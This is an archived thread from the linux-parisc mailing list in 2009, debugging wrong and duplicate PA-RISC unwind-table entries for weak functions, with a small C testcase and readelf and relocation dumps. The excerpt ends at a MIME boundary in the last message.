Original-Received: from mail.gmx.net ([213.165.64.20]:47078 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751822AbZJ1W7p (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 Oct 2009 18:59:45 -0400
Original-Received: (qmail invoked by alias); 28 Oct 2009 22:59:48 -0000
Original-Received: from p4FDB27EC.dip0.t-ipconnect.de (EHLO halden.box) [79.219.39.236]
  by mail.gmx.net (mp009) with SMTP; 28 Oct 2009 23:59:48 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19oh0N+E3Von1bV4iFugmXphw7P2JJNXZUv935i+0
	KKba49iQ1jcJxN
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091014 Fedora/3.0-2.8.b4.fc11 Thunderbird/3.0b4
In-Reply-To: <4AE8C918.8060908@gmx.de>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.53
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2267
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2267>

This is a multi-part message in MIME format.
--------------030008020803030801040609
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

On 10/28/2009 11:43 PM, Helge Deller wrote:
> On 10/28/2009 11:18 PM, John David Anglin wrote:
>>>> and whether it follows inb in its .o. From my understanding of things,
>>>> it shouldn't be necessary to remove the unwind info for unused weak
>>>> symbols if they aren't garbage collected. A simple testcase would
>>>> be helpful.

Attached is a testcase (t1.c and t2.c):
t1.c contains weak function f().
t2.c contains non-weak function f().

hppa-linux-gcc -c t1.c t2.c
hppa-linux-ld -r -o all.o t1.o t2.o

hppa-linux-readelf -s t1.o gives:
Symbol table '.symtab' contains 10 entries:
    Num:    Value  Size Type    Bind   Vis      Ndx Name
      6: 00000000    28 FUNC    GLOBAL DEFAULT    1 a
      7: 0000001c    32 FUNC    WEAK   DEFAULT    1 f
      8: 0000003c    28 FUNC    GLOBAL DEFAULT    1 z
      9: 00000058    80 FUNC    GLOBAL DEFAULT    1 main

hppa-linux-readelf -s t2.o  gives:
Symbol table '.symtab' contains 7 entries:
    Num:    Value  Size Type    Bind   Vis      Ndx Name
      6: 00000000    32 FUNC    GLOBAL DEFAULT    1 f

hppa-linux-readelf -s all.o  gives:
Symbol table '.symtab' contains 11 entries:
    Num:    Value  Size Type    Bind   Vis      Ndx Name
      7: 00000000    32 FUNC    GLOBAL DEFAULT    3 f
      8: 0000003c    28 FUNC    GLOBAL DEFAULT    1 z
      9: 00000058    80 FUNC    GLOBAL DEFAULT    1 main
     10: 00000000    28 FUNC    GLOBAL DEFAULT    1 a


hppa-linux-readelf -u all.o  gives:
Unwind section '.PARISC.unwind' at offset 0xfc contains 5 entries:
<a>: [0x0-0x30]
         Entry_GR=1 Save_SP Total_frame_size=8
<f>: [0x0-0x70]
         Entry_GR=1 Save_SP Total_frame_size=8
<z>: [0x3c-0xa8]
         Entry_GR=1 Save_SP Total_frame_size=8
<main>: [0x58-0x148]
         Entry_GR=2 Save_SP Save_RP Total_frame_size=8
<f>: [0x0-0x38]
         Entry_GR=1 Save_SP Total_frame_size=8

Function f() is listed twice and with different lengths.
Sadly in this example f() starts at offset 0. I think if you tweak
the example, try to see what you get when the start of f() is not zero.

Helge
/who has to run now...

--------------030008020803030801040609
Content-Type: text/plain;
 name="t1.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="t1.c"

int a(void)
{
	return 1;
}

int __attribute__((weak)) f(int x)
{
	return 0;
}

int z(void)
{
	return 2;
}

int main(void)
{
	return a() + f(0) + z();
}

--------------030008020803030801040609
Content-Type: text/plain;
 name="t2.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="t2.c"

int f(int x)
{
	return 500;
}

--------------030008020803030801040609--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Wed, 28 Oct 2009 19:10:25 -0400 (EDT)
Lines: 51
Approved: news@gmane.org
Message-ID: <20091028231026.CDB6F4E38@hiauly1.hia.nrc.ca>
References: <4AE8BEE3.1040706@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1256771437 30102 80.91.229.12 (28 Oct 2009 23:10:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 28 Oct 2009 23:10:37 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, carlos@systemhalted.org,
	randolph@tausq.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 29 00:10:30 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N3Hev-0000CN-Nf
	for glpp-linux-parisc@lo.gmane.org; Thu, 29 Oct 2009 00:10:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751877AbZJ1XKX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 Oct 2009 19:10:23 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753511AbZJ1XKX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 28 Oct 2009 19:10:23 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4205 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751877AbZJ1XKX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 Oct 2009 19:10:23 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id CDB6F4E38; Wed, 28 Oct 2009 19:10:26 -0400 (EDT)
In-Reply-To: <4AE8BEE3.1040706@gmx.de> from "Helge Deller" at Oct 28, 2009 11:00:03 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2268
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2268>

> Hi Dave,
> 
> > On 10/28/2009 12:19 AM, John David Anglin wrote:
> >> From my understanding of things, it shouldn't be necessary to remove the
> >>unwind info for unused weak  symbols if they aren't garbage collected.
> 
> What do you mean with "garbage collected" ?  "dropped from the executable" ?
> AFAICS, the weak function was completely dropped from the vmlinux file.

Yes, I mean "dropped from the executable".  Dropping weak functions
is trickier than just leaving them in place.  It is easier to just
adjust the linkage.  The default behavior of HP ld is to leave unused
functions.  Don't know about GNU ld.  If GNU ld drops unused weak
functions, then the PARISC.unwind entries for them need to be removed.

> Some more info:
> The unwind function in the parisc linux kernel walks the (sorted!) unwind list.
> If one entry is wrong this can lead to incorrect unwinding.
> 
> In this case:
> 
> <arch_mod_section_prepend>: [0x1011fc4c-0x1011fc74]   - non-weak function
>            Entry_GR=1 Save_SP Total_frame_size=8
> <arch_mod_section_prepend>: [0x1011fc4c-0x10167cf4]  - weak function
>            Entry_GR=1 Save_SP Total_frame_size=8
> <module_arch_cleanup>: [0x1011fc78-0x1011fcb8]
>            Entry_GR=2 Save_SP Save_RP Total_frame_size=8
> 
> I see a those options:
> a) drop the second (weak) unwind info entry
> b) for the weak function, use the same start- and end-addresses as the non-weak entry.
> 
> Option b) would probably need some adjustments to the existing parisc
> specific unwind function.

I'm not keen about b).  From looking at one of my builds, it does indeed
look like the weak version of arch_mod_section_prepend has been dropped
(can only find one copy with objdump).

Do you know if linux uses the --gc-sections ld option?  This together
with the GCC -function-sections option might contribute to this problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Wed, 28 Oct 2009 22:11:22 -0400
Organization: nrc.ca
Lines: 82
Approved: news@gmane.org
Message-ID: <20091029021122.GA16387@hiauly1.hia.nrc.ca>
References: <20091028221827.1B7774E38@hiauly1.hia.nrc.ca> <4AE8C918.8060908@gmx.de> <4AE8CCE3.1030503@gmx.de>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1256782296 23809 80.91.229.12 (29 Oct 2009 02:11:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 29 Oct 2009 02:11:36 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, carlos@systemhalted.org,
	randolph@tausq.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 29 03:11:28 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N3KU2-00084L-Pe
	for glpp-linux-parisc@lo.gmane.org; Thu, 29 Oct 2009 03:11:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755682AbZJ2CLV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 Oct 2009 22:11:21 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755991AbZJ2CLV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 28 Oct 2009 22:11:21 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4217 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755682AbZJ2CLU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 Oct 2009 22:11:20 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id CEB594FC6; Wed, 28 Oct 2009 22:11:23 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <4AE8CCE3.1030503@gmx.de>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2269
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2269>

On Wed, 28 Oct 2009, Helge Deller wrote:

> On 10/28/2009 11:43 PM, Helge Deller wrote:
>> On 10/28/2009 11:18 PM, John David Anglin wrote:
>>>>> and whether it follows inb in its .o. From my understanding of things,
>>>>> it shouldn't be necessary to remove the unwind info for unused weak
>>>>> symbols if they aren't garbage collected. A simple testcase would
>>>>> be helpful.
>
> Attached is a testcase (t1.c and t2.c):
> t1.c contains weak function f().
> t2.c contains non-weak function f().
>
> hppa-linux-gcc -c t1.c t2.c
> hppa-linux-ld -r -o all.o t1.o t2.o
>
> hppa-linux-readelf -s t1.o gives:
> Symbol table '.symtab' contains 10 entries:
>    Num:    Value  Size Type    Bind   Vis      Ndx Name
>      6: 00000000    28 FUNC    GLOBAL DEFAULT    1 a
>      7: 0000001c    32 FUNC    WEAK   DEFAULT    1 f
>      8: 0000003c    28 FUNC    GLOBAL DEFAULT    1 z
>      9: 00000058    80 FUNC    GLOBAL DEFAULT    1 main
>
> hppa-linux-readelf -s t2.o  gives:
> Symbol table '.symtab' contains 7 entries:
>    Num:    Value  Size Type    Bind   Vis      Ndx Name
>      6: 00000000    32 FUNC    GLOBAL DEFAULT    1 f
>
> hppa-linux-readelf -s all.o  gives:
> Symbol table '.symtab' contains 11 entries:
>    Num:    Value  Size Type    Bind   Vis      Ndx Name
>      7: 00000000    32 FUNC    GLOBAL DEFAULT    3 f
>      8: 0000003c    28 FUNC    GLOBAL DEFAULT    1 z
>      9: 00000058    80 FUNC    GLOBAL DEFAULT    1 main
>     10: 00000000    28 FUNC    GLOBAL DEFAULT    1 a
>
>
> hppa-linux-readelf -u all.o  gives:
> Unwind section '.PARISC.unwind' at offset 0xfc contains 5 entries:
> <a>: [0x0-0x30]
>         Entry_GR=1 Save_SP Total_frame_size=8
> <f>: [0x0-0x70]
>         Entry_GR=1 Save_SP Total_frame_size=8
> <z>: [0x3c-0xa8]
>         Entry_GR=1 Save_SP Total_frame_size=8
> <main>: [0x58-0x148]
>         Entry_GR=2 Save_SP Save_RP Total_frame_size=8
> <f>: [0x0-0x38]
>         Entry_GR=1 Save_SP Total_frame_size=8
>
> Function f() is listed twice and with different lengths.
> Sadly in this example f() starts at offset 0. I think if you tweak
> the example, try to see what you get when the start of f() is not zero.

Looking at all.o with objdump, the code for <f> is still present.
I would say the regions should be:

<a>: [0x0-0x18]
<f>: [0x1c-0x38]
<z>: [0x3c-0x54]
<main>: [0x58-0xa4]
<f>: [0x0-0x1c]

There are two .text sections, so the offsets for the second <f>
are relative to the start of this section.

My compilation probably differs a bit from yours but I see the same
readelf -u output.  Suspect readelf is broken.  The end values seem
off by a factor 2.

Need to see why start for first <f> is wrong and what happens in final link.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Thu, 29 Oct 2009 09:20:31 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <119aab440910290620y349f48bbme809670c6a603186@mail.gmail.com>
References: <20091027231909.74AEF4E0B@hiauly1.hia.nrc.ca>
	 <4AE8BABC.80108@gmx.de> <4AE8BEE3.1040706@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1256822442 817 80.91.229.12 (29 Oct 2009 13:20:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 29 Oct 2009 13:20:42 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org, randolph@tausq.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 29 14:20:35 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N3Uva-0001f9-Kg
	for glpp-linux-parisc@lo.gmane.org; Thu, 29 Oct 2009 14:20:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752571AbZJ2NU2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 29 Oct 2009 09:20:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753240AbZJ2NU2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 29 Oct 2009 09:20:28 -0400
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:55020 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752571AbZJ2NU1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 29 Oct 2009 09:20:27 -0400
Original-Received: by bwz27 with SMTP id 27so2301011bwz.21
        for <linux-parisc@vger.kernel.org>; Thu, 29 Oct 2009 06:20:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=a5RKmud52zix7BwgfKqzBdvq3ecivL3Vxdqve98Z1Xc=;
        b=TpC86vgE1QC5f5ODiwmIMuSbKsmpdQPIdHhFGE+Xld8NwrvM5T4kRDq0igasL2m23e
         qbReY9B8u5Yk5Y6ehexL2MfYn3myZ+5TzlSbwYM/9FC1cZXHRnE2e6g4MCmuVuWrWagM
         Uu9xEyKtC/Wj8Eteto6A97zA1nuBz2q1LHzAw=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=lc+BikP4WrBvdgJbv9GFcXFh6Wyup0wUXIH58jZFm44eIMfdhABnJXnqa3jvyQTXJA
         uBFKgcvAyJRHH67VqkMleYRiKT7VaQNITfWlHshW1uGyZGgSA4mNddQE6oYuw7xWfZnR
         hZV/twjtCDUdCoXjANFqV7Hl6aCq3CY1dfWKw=
Original-Received: by 10.204.10.135 with SMTP id p7mr31158bkp.69.1256822431376; Thu, 29 
	Oct 2009 06:20:31 -0700 (PDT)
In-Reply-To: <4AE8BEE3.1040706@gmx.de>
X-Google-Sender-Auth: 9e01a5ea378e6bfa
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2270
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2270>

On Wed, Oct 28, 2009 at 6:00 PM, Helge Deller <deller@gmx.de> wrote:
> I see a those options:
> a) drop the second (weak) unwind info entry
> b) for the weak function, use the same start- and end-addresses as the
> non-weak entry.
>
> Option b) would probably need some adjustments to the existing parisc
> specific unwind function.

FWIW I think option (a) is the best option.

Yes, the linker doesn't even consider the weak function when building
the final executable, I don't know why an unwind entry is kept for it.

Be aware that --gc-sections can cause similar problems in unwind
information on other targets, so it might also be an issue for PARISC.

Thanks for the good work so far!

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Thu, 29 Oct 2009 12:38:50 -0400
Organization: nrc.ca
Lines: 108
Approved: news@gmane.org
Message-ID: <20091029163849.GA20281@hiauly1.hia.nrc.ca>
References: <20091028221827.1B7774E38@hiauly1.hia.nrc.ca> <4AE8C918.8060908@gmx.de> <4AE8CCE3.1030503@gmx.de> <20091029021122.GA16387@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1256834342 11558 80.91.229.12 (29 Oct 2009 16:39:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 29 Oct 2009 16:39:02 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, carlos@systemhalted.org,
	randolph@tausq.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 29 17:38:55 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N3Y1X-0004CF-Fp
	for glpp-linux-parisc@lo.gmane.org; Thu, 29 Oct 2009 17:38:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755370AbZJ2Qit (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 29 Oct 2009 12:38:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755498AbZJ2Qit
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 29 Oct 2009 12:38:49 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4265 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755370AbZJ2Qit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 29 Oct 2009 12:38:49 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 982214E38; Thu, 29 Oct 2009 12:38:51 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20091029021122.GA16387@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2271
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2271>

On Wed, 28 Oct 2009, John David Anglin wrote:

> On Wed, 28 Oct 2009, Helge Deller wrote:
> 
> > On 10/28/2009 11:43 PM, Helge Deller wrote:
> >> On 10/28/2009 11:18 PM, John David Anglin wrote:
> >>>>> and whether it follows inb in its .o. From my understanding of things,
> >>>>> it shouldn't be necessary to remove the unwind info for unused weak
> >>>>> symbols if they aren't garbage collected. A simple testcase would
> >>>>> be helpful.
> >
> > Attached is a testcase (t1.c and t2.c):
> > t1.c contains weak function f().
> > t2.c contains non-weak function f().
> >
> > hppa-linux-gcc -c t1.c t2.c
> > hppa-linux-ld -r -o all.o t1.o t2.o
> >
> > hppa-linux-readelf -s t1.o gives:
> > Symbol table '.symtab' contains 10 entries:
> >    Num:    Value  Size Type    Bind   Vis      Ndx Name
> >      6: 00000000    28 FUNC    GLOBAL DEFAULT    1 a
> >      7: 0000001c    32 FUNC    WEAK   DEFAULT    1 f
> >      8: 0000003c    28 FUNC    GLOBAL DEFAULT    1 z
> >      9: 00000058    80 FUNC    GLOBAL DEFAULT    1 main
> >
> > hppa-linux-readelf -s t2.o  gives:
> > Symbol table '.symtab' contains 7 entries:
> >    Num:    Value  Size Type    Bind   Vis      Ndx Name
> >      6: 00000000    32 FUNC    GLOBAL DEFAULT    1 f
> >
> > hppa-linux-readelf -s all.o  gives:
> > Symbol table '.symtab' contains 11 entries:
> >    Num:    Value  Size Type    Bind   Vis      Ndx Name
> >      7: 00000000    32 FUNC    GLOBAL DEFAULT    3 f
> >      8: 0000003c    28 FUNC    GLOBAL DEFAULT    1 z
> >      9: 00000058    80 FUNC    GLOBAL DEFAULT    1 main
> >     10: 00000000    28 FUNC    GLOBAL DEFAULT    1 a
> >
> >
> > hppa-linux-readelf -u all.o  gives:
> > Unwind section '.PARISC.unwind' at offset 0xfc contains 5 entries:
> > <a>: [0x0-0x30]
> >         Entry_GR=1 Save_SP Total_frame_size=8
> > <f>: [0x0-0x70]
> >         Entry_GR=1 Save_SP Total_frame_size=8
> > <z>: [0x3c-0xa8]
> >         Entry_GR=1 Save_SP Total_frame_size=8
> > <main>: [0x58-0x148]
> >         Entry_GR=2 Save_SP Save_RP Total_frame_size=8
> > <f>: [0x0-0x38]
> >         Entry_GR=1 Save_SP Total_frame_size=8
> >
> > Function f() is listed twice and with different lengths.
> > Sadly in this example f() starts at offset 0. I think if you tweak
> > the example, try to see what you get when the start of f() is not zero.
> 
> Looking at all.o with objdump, the code for <f> is still present.
> I would say the regions should be:
> 
> <a>: [0x0-0x18]
> <f>: [0x1c-0x38]
> <z>: [0x3c-0x54]
> <main>: [0x58-0xa4]
> <f>: [0x0-0x1c]
> 
> There are two .text sections, so the offsets for the second <f>
> are relative to the start of this section.
> 
> My compilation probably differs a bit from yours but I see the same
> readelf -u output.  Suspect readelf is broken.  The end values seem
> off by a factor 2.

readelf -u is definitely broken when used on an object without
program headers.

However, I think we are creating trouble for ourself by using the
function's symbol name for the start offset in the unwind table:

Relocation section '.rela.PARISC.unwind' at offset 0x3d8 contains 10 entries:
 Offset     Info    Type            Sym.Value  Sym. Name + Addend
00000000  00000a31 R_PARISC_SEGREL32 00000000   a + 0
00000004  00000131 R_PARISC_SEGREL32 00000000   .text + 18
00000010  00000731 R_PARISC_SEGREL32 00000000   f + 0
00000014  00000131 R_PARISC_SEGREL32 00000000   .text + 38
00000020  00000831 R_PARISC_SEGREL32 0000003c   z + 0
00000024  00000131 R_PARISC_SEGREL32 00000000   .text + 54
00000030  00000931 R_PARISC_SEGREL32 00000058   main + 0
00000034  00000131 R_PARISC_SEGREL32 00000000   .text + a4
00000040  00000731 R_PARISC_SEGREL32 00000000   f + 0
00000044  00000231 R_PARISC_SEGREL32 00000000   .text + 1c

I think the assembler needs to be changed to use local symbols for the
start that will be reduced to section offsets.  This should prevent
the problem with wrong ranges.  However, there may be issues with
finding the symbol associated with a range in readelf, etc.

Thoughts?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Thu, 29 Oct 2009 15:16:43 -0400
Organization: nrc.ca
Lines: 102
Approved: news@gmane.org
Message-ID: <20091029191642.GA21129@hiauly1.hia.nrc.ca>
References: <20091028221827.1B7774E38@hiauly1.hia.nrc.ca> <4AE8C918.8060908@gmx.de> <4AE8CCE3.1030503@gmx.de>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="gKMricLos+KVdGMg"
X-Trace: ger.gmane.org 1256843819 12644 80.91.229.12 (29 Oct 2009 19:16:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 29 Oct 2009 19:16:59 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, carlos@systemhalted.org,
	randolph@tausq.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 29 20:16:51 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N3aUJ-00051L-3o
	for glpp-linux-parisc@lo.gmane.org; Thu, 29 Oct 2009 20:16:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756421AbZJ2TQl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 29 Oct 2009 15:16:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756555AbZJ2TQk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 29 Oct 2009 15:16:40 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4275 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756421AbZJ2TQk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 29 Oct 2009 15:16:40 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id E9D014E38; Thu, 29 Oct 2009 15:16:43 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <4AE8CCE3.1030503@gmx.de>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2272
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2272>


--gKMricLos+KVdGMg
Content-Type: text/plain; charset=us-ascii
